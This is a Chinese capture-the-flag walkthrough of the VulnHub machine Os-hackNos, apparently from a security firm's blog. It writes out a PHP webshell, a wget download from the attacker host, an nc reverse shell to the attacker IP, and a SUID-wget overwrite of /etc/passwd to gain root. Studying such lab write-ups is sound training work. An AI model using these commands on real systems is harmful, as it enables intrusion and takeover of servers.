STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
靶机简介
Name: hackNos: Os-hackNos
Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation
靶机下载地址:
https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
实验环境
攻击机:kali 192.168.11.143
靶机:Linux IP自动获取
攻击机与靶机都使用net网络连接,在同一网段下
渗透测试步骤
1、确定靶机的IP
netdiscover -i eth0 -r 192.168.11.0/24
使用kali里面自带的工具netdiscover扫描目标网段内的存活主机(当然也可以用nmap、masscan等工具)
-i指定网卡
-r指定目标网段
2、对目标进行端口扫描
nmap -sV -Pn -sS 192.168.11.156
发现开启了22和80端口
3、访问目标的80端口,发现是一个默认页面
4、扫描网站目录
gobuster dir -u http://192.168.11.156/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
# gobuster是一款爆破目录的工具,也可以使用其他爆破目录的工具
-u 指定目标网站
-w 指定字典
5、访问该目录,通过wappalyzer插件发现是一个drupal的cms,版本是7
6、去github搜索drupal 7的相关漏洞利用工具,挑选一个用来尝试进行攻击(这里使用的是第二个)
7、攻击成功,可以远程执行命令
8、在kali上新建一个一句话木马文件payload.php,然后使用python开启一个http服务,然后利用命令执行下载到目标机:
<?php system($_POST['test']);?>
python -m SimpleHTTPServer # 默认开启8000端口
wget http://192.168.11.143:8000/payload.php
访问一句话木马,连接成功
9、反弹shell
nc -lvp 2333 # 在kali上开启nc监听
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.143 2333 >/tmp/f
# nc反弹的指令,作为参数传给目标服务器,需要进行特殊字符URL编码(注意修改IP和端口为kali的IP和监听端口)
10、获取标准shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
11、查看/etc/passwd文件,看有哪些用户,发现存在用户james,查看该用户家目录下的文件,发现存在user.txt文件,读取文件得到第一个flag:
MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b
尝试直接访问 /root目录发现没有权限,尝试寻找可疑文件,从当前目录开始往父目录找
12、在网站根目录发现可疑文件alexander.txt,内容为:
一看就是用base64加密了,解密得:
得到的还是加密的字符,看不出是什么加密,直接复制一部分去百度搜索 ,得到解密的网址:https://www.splitbrain.org/services/ook
这应该是账号和密码:james:[email protected]
13、尝试切换到james用户,发现不成功,想到开放了22端口,尝试用ssh连接发现也不行,于是决定进行提权,首先尝试suid提权,发现wget拥有suid权限
find / -perm -u=s -type f 2>/dev/null
# 查找拥有suid权限的文件
14、既然wget命令拥有suid权限,那么可以利用wget命令从kali下载文件替换原来的文件,这里选择替换 /etc/passwd 文件,具体操作如下:
1)在kali新建一个 passwd 文件,将目标机passwd文件的内容复制到该文件中
2)在新建的passwd文件中添加一个条目(复制root用户的条目,然后修改用户名和密码即可),用户名为test,密码为123456,但是密码不能是明文,要用openssl进行加密:
openssl passwd -1 -salt test 123456
-1表示用md5加密
-salt表示加盐
15、利用wget下载该passwd文件替换目标机上原来的/etc/passwd文件
wget http://192.168.11.143:8000/passwd -O /etc/passwd
可以发现成功替换
16、切换用户到test,发现已经是root权限了
17、最后在 /root 目录下得到另一个flag
总结
主要通过如下操作拿到root权限:
1、信息收集,包括主机发现、端口扫描、目录扫描等;
2、框架漏洞利用,发现开了80端口,访问相应目录后发现是drupal框架,先获取具体的版本,然后寻找该版本出现过的漏洞,获取exp后进行攻击;
3、上传一句话木马、反弹shell;
4、利用suid提权,发现wget拥有suid权限,可以尝试下载替换原有的文件,这里是替换了/etc/passwd文件,让我拥有了一个root权限的用户。
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们